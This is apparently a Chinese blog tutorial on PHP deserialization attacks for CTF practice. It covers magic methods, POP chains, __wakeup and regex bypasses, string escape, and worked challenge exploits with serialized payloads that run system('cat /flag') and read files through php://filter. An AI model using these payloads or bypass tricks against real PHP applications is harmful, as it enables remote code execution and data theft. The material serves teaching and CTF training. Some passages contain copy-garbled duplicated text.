php反序列化漏洞详解

基本概念

serialize() //序列化:将变量转换为可保存或传输的字符串的过程;
unserialize() //反序列化:在适当的时候把这个字符串再转化成原来的变量使用。

在实际应用中,序列化和反序列化不仅可以用于数据存储和传输,还可以用于对象的传递和攻击。例如,通过利用魔术方法(如__wakeup()和__destruct()),攻击者可以在反序列化过程中执行恶意代码。这种漏洞被称为反序列化漏洞,是一种常见的安全问题。

<?php
class User{
    protected $name = 'ctf';
    private $isAdmin = true;
}
$user = new User();
echo serialize($user);
?>

返回结果:O:4:"User":2:{s:7:" * name";s:3:"ctf";s:13:" User isAdmin";b:1;}
这里O代表对象,这里是序列化的一个对象,要序列化数组的就用A
4表示的是类的长度
User表示是类名
2表示类里面有2个属性,也称为变量
s表示字符串的长度这里的 * name表示属性(注意*号两边有空格)
比如s:7:" * name" 这里表示的是 * name属性名(变量名)为7个字符串长度: 字符串 属性长度 属性值

访问控制修饰符

public(公有):可以被任何类访问,没有限制。
protected(受保护):只能被其自身类、子类和父类访问。
private(私有):只能被其自身类访问,其他类无法直接访问。

**注意:**访问控制修饰符不同,序列化后属性的长度和属性值会有所不同:

public:属性被序列化的时候属性值会变成—属性名
protected:属性被序列化的时候属性值会变成—\x00*\x00属性名
private:属性被序列化的时候属性值会变成—\x00类名\x00属性名

魔术方法:

常见的魔术方法:

__construct()	类的构造函数,在类实例化对象时自动调用构造函数
__destruct()	类的析构函数,在对象销毁之前自动调用析构函数
__sleep()	在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()	在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。
__set($property, $value)	当给一个不存在的对象或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。
__get($property)	当访问一个不存在的对象或不可访问的属性时自动调用,传递属性名作为参数。
__isset($property)	当对一个不存在的对象或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
__unset($property)	当对一个不存在的对象或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
__call($method, $arguments)	调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数
__callStatic($method, $arguments)	当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。
__toString()	当使用echo或print输出对象或将对象转化为字符串形式时,会调用__toString()方法
__invoke()	当将一个对象作为函数进行调用时自动调用。
__clone()	当使用 clone 关键字复制一个对象时自动调用。
__set_state($array)	在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。
__debugInfo()	在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

注意:要触发魔术方法的前提是魔术方法所在类(或者对象)被调用,也就是你序列化或者反序列化的这个对象里面要包含有这个方法,否则是无法触发的

__wakeup()在反序列化unserialize()之前被调用
__destruct()在反序列化unserialize()之后被调用

1、__destruct()漏洞利用

<?php
class User{
    var $cmd = "echo 'hello';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$o = $_GET["zm"];
unserialize($o);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

以上代码在反序列化之后,会触发__destruct()魔术方法,该方法中有命令执行函数eval(),又因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关,所以我们在序列化字符串中重新给 c m d 赋值,例如: cmd赋值,例如: cmd赋值,例如:cmd=“system(‘cat /flag’);”
,这样在反序列化之后会去执行eval()函数,从而触发代码执行。这只是最简单的反序列化漏洞利用方式,旨在理解如何去利用反序列化去触发代码执行。

// payload:
O:4:"User":1:{s:3:"cmd";s:19:"system("cat /flag")";}

PHP伪协议

常见伪协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

一些常见绕过:
1、方法1:?text=data:text/plain,welcome to the zjctf(有时是data://,有时是data:)
方法2:?text=php://input,然后post提交参数

$text = $_GET["text"]; 
isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"

一些绕过技巧

绕过空格:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

绕过wakeup方法:

1)把成员属性个数的值设置的比原来的大(版本:PHP5 < 5.6.25 | PHP7 < 7.0.10)
原本的payload-->  O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
把成员属性值写成2,就可以绕过wakeup-->  O:6:"secret":2:{s:4:"file";s:8:"flag.php";}

2)引用赋值绕过(还可以用于两个值强比较)

使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。
比如说:

<?php
function test (&$a){
    $b=&$a;
    $b='123';
}
$a='11';
test($a);
echo $a;
//echo 123

这里先对 a 赋值为 11 ,然后在 t e s t 方法内定义 a赋值为11,然后在test方法内定义 a赋值为11,然后在test方法内定义b指向$a的内存地址并将其值改为123,于是最终输出123.
下面用一道题[UUCTF 2022 新生赛]ez_unser进行演示:

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

可以看出,我们最终要进行执行的$a在wakeup方法内被定义为空,并且这里禁止更改成员属性个数,所以我们考虑使用引用赋值进行绕过。payload如下:

<?php
class test{
    public $a;
    public $b;
    public $c;
}
$o = new test();
$o->b = &$o->a;
$o->c = "system('cat /f*');";
echo serialize($o);

3)__unserialize()魔术方法(要求PHP 7.4.0+)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。


绕过部分正则:

绕过'/[oc]:\d+:/i'

1)加号+跳过正则判断(注意在url里传参时+要编码为%2B)
preg_match('/[oc]:\d+:/i', $var)  //匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写  
O:6:"secret":2:{s:4:"file";s:8:"flag.php";}  -->  O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

2)数组绕过
<?php
$o = 'O:6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo serialize(array($o));

//a:1:{i:0;s:43:"O:6:"secret":2:{s:4:"file";s:8:"flag.php";}";}

php原生类

PHP原生类是指PHP语言中自带的类,这些类无需安装或导入任何库即可直接使用。常见的PHP原生类包括字符串操作类、数组操作类、日期时间操作类等。

在CTF题目中,PHP原生类可以用于多种攻击手段,如XSS(跨站脚本)、SSRF(同源请求伪造)、XXE(XML外部实体注入)、反序列化和文件操作等。

以下是一些具体的PHP原生类及其应用:

Error 和 Exception 类:这些类可以用于绕过哈希比较和进行XSS攻击。
SoapClient 类:这个类可以用于进行SSRF攻击。当_call方法被触发时,它可以发送HTTP和HTTPS请求。
ZipArchive 类:这个类可以用于压缩和解压缩文件,如果设置了特定的参数,可以实现删除文件的功能。
SimpleXMLElement 类:这个类可以用于解析 XML 文档中的元素

可遍历目录类

DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

可读取文件类

SplFileObject类

**注意:**MD5 和 SHA1 函数可以对一个类进行hash,并且会触发该类的__toString方法。(比如说[极客大挑战 2020]greatphp)

具体的使用可以看大佬文章:PHP 原生类的利用_php原生类利用-CSDN博客

CTF例题–反方向的钟

1、源代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

2、审计代码,发现只能在这里输出flag,有一个new在这里,于是考虑使用php原生类SplFileObject来读取文件,但是这里没有输出函数,那我们这里要使用php伪协议将flag输出出来。

image-20240725174045983

3、通过审计代码,得出exp如下:

<?php
// flag.php
class teacher{
    public $name='ing';
    public $rank='department';
}

class classroom{
    public $name='one class';
    public $leader;
}

class school{
    public $department;
    public $headmaster='ong';
}

$o = new school();
$o->department = new classroom();
$o->department->leader = new teacher();
echo base64_encode(serialize($o));
?>

得出的payload为:

Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

4、将payload使用GET传参,然后POST传入a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php即可得到flag的base64编码,解码后即可得到flag

image-20240725175945048


php序列化–任意命令执行

漏洞代码示例:

<?php
class Test{
    public $cmd = "whoami";
    function __wakeup()
    {
        system($this->cmd);
    }
}
$Obj = unserialize($_GET['cmd']);   //当unserialize运行,wakeup方法会自动执行,从而实现命令执行
?>

序列化字符串生成(O:5:"Test1":1:{s:3:"cmd";s:6:"whoami";}):

<?php  
class Test1{
    public $cmd = "whoami";
}
$test = new Test1();
echo serialize($test);
?>

然后更改6:"whoami"这两个参数即可执行任意命令。

ctf例题:web_php_unserialize

这里对代码进行审计:

<?php 
class Demo { 
    private $file = 'index.php';  //这里首先定义file的值为index.php
    public function __construct($file) {   
        $this->file = $file;  //构造函数 __construct 接受一个参数 $file,并将私有属性 $file 设置为传入的值,所以我们在设置payload的时候应把fl4g.php传入$file
    }
    function __destruct() { 
        echo @highlight_file($this->file, true);   //在销毁对象时会自动调用,输出$file的值
    }
    function __wakeup() { 
        if ($this->file != 'index.php') {  //如果file不为index.php,那么把file的值该回index.php,所以这里我们需要做的就是令wakeup方法不执行
            //the secret is in the fl4g.php(自带的注释,提醒我们传入fl4g.php)
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {   
    $var = base64_decode($_GET['var']);  //对$var进行base64解密,所以我们在设置payload时应该先进行base64加密再进行传参
    if (preg_match('/[oc]:\d+:/i', $var)) {   //php正则匹配,防止对象注入,如果检测到像 {s:4:'flag'}这样的参数,那么就会终止程序
        die('stop hacking!'); 
    } else {
        @unserialize($var);   //匹配失败则输出反序列化后的$var
    } 
} else { 
    highlight_file("index.php");   //否则输出index.php
} 
?>

所以构造payload,得到O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";},注意这里Demo file 中的Demo两边是有空格的:

<?php
file";s:8:"fl4g.php";}
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct(){
        echo @highlight_file($this->file,true);
    }
    function __wakeup(){
        if($this->file != 'index.php'){
            $this->file = 'index.php';
        }
    }
}
$var = new Demo("fl4g.php");
$o = serialize($var);
echo $o;
?>

绕过正则匹配(数字前面加一个”+”号):
O:+4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

而要令wakeup方法不执行,就需要绕过wakeup方法,这里用到的是php的一个漏洞(CVE-2016-7124),把”Demo”后面的”1”参数改为2或者其他更大的整数:
O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

这里还要先对payload进行加密,于是得到完整的构造payload代码:

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct(){
        echo @highlight_file($this->file,true);
    }
    function __wakeup(){
        if($this->file != 'index.php'){
            $this->file = 'index.php';
        }
    }
}
$var = new Demo("fl4g.php");
$o = serialize($var);
echo $o;
$str1 = str_replace(":4:",":+4:",$o);
$str2 = str_replace(":1:",":2:",$str1);
$str3 = base64_encode($str2);
var_dump($str3);
?>

得到最终payload,TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==,输入到网页得到flag



POP链的构造与应用

PHP POP链(Property-Oriented Programming Chain)是一种在PHP反序列化中常用的攻击技术。它利用面向属性编程的原理,通过构造特定的对象引用链来实现对程序执行流程的控制,从而触发特定的函数或方法调用。

构造POP链的首要条件是找到头和尾,也就是用户能够传入参数的地方最终执行函数的地方,一般来说,构造POP链从尾部开始向前推导,找到上一个部分的触发点直到找到传参处,推导完成后再从头部进行构造POP链。

反序列化的常见起点:
__wakeup 一定会调用

__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 t h i s − > this-> this>func();

反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

ctf例题:[MoeCTF 2021]unserialize

源代码如下:

<?php
class entrance
{
    public $start;
    function __construct($start)
    {
        $this->start = $start;
    }
    function __destruct()
    {
        $this->start->helloworld();
    }
}
class springboard
{
    public $middle;
    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}
class evil
{
    public $end;
    function __construct($end)
    {
        $this->end = $end;
    }
    function __get($Attribute)
    {
        eval($this->end);
    }
}
if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
} 

1、首先找到头和尾,头是$_GET[‘serialize’],尾是__get方法内的eval函数。
2、然后往前推导,触发__get方法的前提是用于从不存在的属性读取数据或者不存在这个键,注意到springboard类内的__call方法内的echo刚好满足条件。
3、而调用__call方法的前提是在对象上下文中调用不存在的方法,刚好__destruct方法调用了一个不存在的函数,而__destruct方法在对象被销毁时触发。
4、理一下执行顺序: __get <- __call <- __destruct

得到payload:

<?php
class entrance
{
    public $start;
}
class springboard
{
    public $middle;
}
class evil
{
    public $end;
}
$o = new entrance();
$o->start = new springboard();
$o->start->middle = new evil();
$o->start->middle->end = 'system("cat /f*");';
echo serialize($o);
//O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system("cat /f*");";}}}

get提交参数得到flag


字符串逃逸

PHP在反序列化时,是以 ;} 作为结尾的,后面的字符串不影响正常的反序列化。
字符串逃逸是由于长度异常而导致后面注入字符串被正常解析,使得我们构造的恶意字符串逃逸到正常的属性值中,最终在反序列化后恶意修改了类属性。
而字符串逃逸根据过滤函数,又分为字符数减少,和字符数增多

字符数减少

多逃逸出一个成员属性,第一个字符串减少掉有效代码,在第二个字符串构造代码。

假设preg_replace函数将system()替换为空,并且要增加一个成员v3,那么:
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
会变成
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";} 成员v1的值长度为27,那么往后的abc";s:2:"v2";s:21:"1234567都是成员v1的值,而v3也就成功修改了类属性,于是N后面的;}成功闭合,最后的";}被丢弃。

字符数增多

构造出一个逃逸成员属性,第一个字符串增多出多余代码,把多余位代码构造成逃逸的成员属性。

假设hi要被替换成hello(增加3个字符),并且我们需要移除成员属性v2,添加新的成员属性v3,
增加的";s:2:"v3";s:2:"66";}一共21位,那么我们将7个hi替换成hello即可,那么:
原先的字符串: O:1:"A":2:{s:2:"v1";s:2:"hi";s:2:"v2";s:3:"123";}
构造的payload: O:1:"A":2:{s:2:"v1";s:35:"hihihihihihihi";s:2:"v3";s:2:"66";}";s:2:"v2";s:3:"123";}
过滤后的字符串为: O:1:"A":2:{s:2:"v1";s:35:"hellohellohellohellohellohellohello";s:2:"v3";s:2:"66";} ,原先后面的";s:2:"v2";s:3:"123";}被丢弃了。

ctf例题:easy_serialize_php1(字符数减少)

代码审计:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';  
    //implode函数将数组用"|"组合成字符串,在生成的字符串的前后各加一个 '/',将其变成一个正则表达式,i意味着不区分大小写
    return preg_replace($filter,'',$img);  
    //preg_replace 函数会在 $img 中查找匹配 $filter 的内容,并将其替换为空字符串。
}


if($_SESSION){
    unset($_SESSION);  
    //$_SESSION 是一个用来存储会话数据的超全局数组,在 PHP 中经常用于跨页面传递数据。如果会话存在则清空会话数据
}

$_SESSION["user"] = 'guest'; 
$_SESSION['function'] = $function; 

extract($_POST); 
//根据extract()我们可以进行变量覆盖,当我们POST传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失,只剩下SESSION[flag]=123。

if(!$function){  //$function为空则页面回到初始
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){   //这里可以更改$_GET['img_path']或使$_GET['img_path']为空来达到读取flag的目的,我们选择使$_GET['img_path']为空
    $_SESSION['img'] = base64_encode('guest_img.png');   //如果$_GET['img_path']为空,则执行
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));   
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){   //只有当function的值为show_image时,才能对$serialize_info进行反序列化和其他后续的操作。
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
?>

将function设置成phpinfo,得到flag信息:

首先要知道我们需要序列化user,function,img。

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img']=base64_encode('guest_img.png');

构建代码输出序列化内容

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'z';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';  //d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
?>
//得到string(90) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"z";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

**注意:**序列化之后长度s获取的字符串的长度一定为s,否则会继续往后读,并且unserialize会把多余的字符串当垃圾处理,在{}内的就是正确的,{}后面的就都被丢弃。
所以我们的目的是把$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到{}外,然后在{}中注好新的img属性,于是他本来要求的img属性就被替换了。

<?php
$_SESSION["user"] = 'flagflagflagflagflagphp';  //user里的内容会被过滤掉,然后会接着往后取23个字符
$_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:2:"bb";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';     //d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
?>

得到 a:3:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
}
经过删除和过滤后,于是剩下(其中 “;s:8:“function”;s:57:” 是user的键值,而 s:1:“a”;s:2:“bb”; 是作为第3个序列化数组凑数的):
a:3:{s:4:"user";s:23:"";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:2:"bb";}

构造payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:2:"bb";}
得到了flag的所在

获取/d0g3_fllllllag的base64加密值L2QwZzNfZmxsbGxsbGFn(刚好也是20位),填入payload,得到最终payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:2:"bb";}
取得flag



如果理解的还不是很清晰可以再去看一下夺命十三枪这道题,很不错

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值